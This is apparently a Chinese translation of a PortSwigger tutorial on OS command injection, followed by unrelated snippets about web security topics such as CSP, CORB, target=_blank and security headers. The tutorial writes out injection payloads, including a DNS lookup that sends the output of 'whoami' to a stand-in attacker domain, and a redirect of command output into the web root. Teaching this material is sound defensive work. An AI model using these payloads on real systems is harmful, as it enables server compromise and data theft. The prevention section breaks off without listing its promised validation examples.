在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用此漏洞,为不同的操作系统阐明一些有用的命令和技术,并总结如何防止操作系统命令注入。
OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也常常利用此漏洞危害基础设施中的其他部分,利用信任关系攻击组织内的其他系统。
假设某个购物应用程序允许用户查看某个商品在特定商店中是否有库存,此信息可以通过以下 URL 获取:
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供返回信息,应用程序必须查询各种遗留系统。由于历史原因,此功能通过调用 shell 命令并传递参数来实现如下:
stockreport.pl 381 29
此命令输出特定商店中某个商品的库存信息,并将其返回给用户。
由于应用程序没有对 OS 命令注入进行防御,那么攻击者可以提交类似以下输入来执行任意命令:
& echo aiwefwlguh &
如果这个输入被当作 productID 参数,那么应用程序执行的命令就是:
stockreport.pl & echo aiwefwlguh & 29
echo 命令就是让提供的字符串在输出中显示的作用,其是测试某些 OS 命令注入的有效方法。& 符号就是一个 shell 命令分隔符,因此上例实际执行的是一个接一个的三个单独的命令。因此,返回给用户的输出为:
Error - productID was not provided
aiwefwlguh
29: command not found
这三行输出表明:
原来的 stockreport.pl 命令由于没有收到预期的参数,因此返回错误信息。
注入的 echo 命令执行成功。
原始的参数 29 被当成了命令执行,也导致了异常。
将命令分隔符 & 放在注入命令之后通常是有用的,因为它会将注入的命令与注入点后面的命令分开,这减少了随后发生的事情将阻止注入命令执行的可能性。
当你识别 OS 命令注入漏洞时,执行一些初始命令以获取有关系统信息通常很有用。下面是一些在 Linux 和 Windows 平台上常用命令的摘要:
命令含义 | Linux | Windows |
---|---|---|
显示当前用户名 | whoami | whoami |
显示操作系统信息 | uname -a | ver |
显示网络配置 | ifconfig | ipconfig /all |
显示网络连接 | netstat -an | netstat -an |
显示正在运行的进程 | ps -ef | tasklist |
许多 OS 命令注入漏洞都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输出。 不可见 OS 命令注入漏洞仍然可以被利用,但需要不同的技术。
假设某个 web 站点允许用户提交反馈信息,用户输入他们的电子邮件地址和反馈信息,然后服务端生成一封包含反馈信息的电子邮件投递给网站管理员。为此,服务端需要调用 mail 程序,如下:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail 命令的输出并没有作为应用程序的响应返回,因此使用 echo 负载不会有效。这种情况,你可以使用一些其他的技术来检测漏洞。
你可以使用能触发延时的注入命令,然后根据应用程序的响应时长来判断注入的命令是否被执行。使用 ping 命令是一种有效的方式,因为此命令允许你指定要发送的 ICMP 包的数量以及命令运行的时间:
& ping -c 10 127.0.0.1 &
这个命令将会 ping 10 秒钟。
你可以将注入命令的输出重定向到能够使用浏览器访问到的 web 目录。例如,应用程序使用 /var/www/static 路径作为静态资源目录,那么你可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
> 符号就是输出重定向的意思,上面这个命令就是把 whoami 的执行结果输出到 /var/www/static/whoami.txt 文件中,然后你就可以通过浏览器访问 https://vulnerable-website.com/whoami.txt 查看命令的输出结果。
使用 OAST 带外技术就是你要有一个自己控制的外部系统,然后注入命令执行,触发与你控制的系统的交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
这个负载使用 nslookup 命令对指定域名进行 DNS 查找,攻击者可以监视是否发生了指定的查找,从而检测命令是否成功注入执行。
带外通道还提供了一种简单的方式将注入命令的输出传递出来,例如:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致对攻击者控制的域名的 DNS 查找,如:
wwwuser.kgji2ohoyw.web-attacker.com
各种 shell 元字符都可以用于执行 OS 命令注入攻击。
许多字符用作命令分隔符,从而将多个命令连接在一起。以下分隔符在 Windows 和 Unix 类系统上均可使用:
&
&&
|
||
以下命令分隔符仅适用于 Unix 类系统:
;
换行符(0x0a 或 \n)
在 Unix 类系统上,还可以使用 ` 反引号和 $ 符号在原始命令内注入命令内联执行:
`
$
需要注意的是,不同的 shell 元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否工作,以及它们是否允许在带内检索命令输出,或者只对不可见 OS 利用有效。
有时,你控制的输入会出现在原始命令中的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用 " 或 ')。
防止 OS 命令注入攻击最有效的方法就是永远不要从应用层代码中调用 OS 命令。几乎在对于所有情况下,都有使用更安全的平台 api 来实现所需功能的替代方法。
如果认为使用用户提供的输入调用 OS 命令是不可避免的,那么必须执行严格的输入验证。有效验证的一些例子包括:
不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错,且很容易被熟练的攻击者绕过。
原文来自:https://portswigger.net/web-security/os-command-injection
翻译来自:https://segmentfault.com/a/1190000039322073
随着网络的普及,黑客进行网络攻击的手段越来也多,越来越复杂。前端的HTML、JavaScript、CSS、Flash等技术变成了前端攻击者和开发者的战场,网站安全问题也开始向前端倾斜。
AJAX请求真的不安全么?AJAX请求哪里不安全?怎么样让AJAX请求更安全?本文包含的内容较多,包括AJAX,CORS,XSS,CSRF等内容,要完整的看完并理解需要付出一定的时间。
第三方内容在其沙箱区域内具有强大的能力。如果你担心恶意用户诱使你的网站加载第三方资源,可以通过 CSP 用作防护手段,其可以限制加载图片,脚本和样式的来源。
检查页面隐藏或丢失的内容:检查webserver元数据文件,如:robots.txt, sitemap.xml,.DS_Store, .htaccess,检查搜索功能可能的注入或攻击方式,检查不同agent代理访问网站显示内容的是否一致
要做到无iFrame,我将使用一种类似于之前我讨论过的方法:我将创建一个弹窗,然后在设置计时器后更改弹出窗口的位置。使用这种方法,我仍然可以加载受害者的CSS,但我不再依赖于受害者是否允许iFrame。
我当前的 chrome 版本是 v68,如果是 v66 或更低版本可能提示的警告信息略有不同。印象中只对 CORS 比较熟悉,CORB 是个什么鬼?好奇心迫使我想要了解一下它到底是什么,于是暂时把手头工作放下查了一些资料并花时间汇总了一下,就有了这篇文章
大家都喜欢target=_blank, 因为新页面打开不影响原来的页面。但是这个存在安全问题, 由target=_blank打开的页面, 可以通过window.opener访问原来的窗口。遍可以简单的将网页导航到其他网站, 这就存在很多的安全隐患了, 比如钓鱼,这种问题解决起来也很简单, 在链接中加入rel=noreferrer noopener属性就可以了
Web安全测试检查单。上传功能:绕过文件上传检查功能,上传文件大小和次数限制。注册功能:注册请求是否安全传输,注册时密码复杂度是否后台检验,激活链接测试
HTTP Strict-Transport-Security,简称为HSTS。X-Frame-Options:是否允许一个页面可在<frame>、<iframe>、<object>中展现的标记。X-XSS-Protection作用:防范XSS攻击。
第三方内容在其沙箱中具有很高的影响力。 虽然图像或沙盒iframe有着非常小的沙箱,但脚本和样式的作用范围却影响你的整个页面,甚至是整个站点。如果你担心用户会欺骗你的网站去加载第三方资源,可以使用CSP(内容安全策略)保证安全
内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!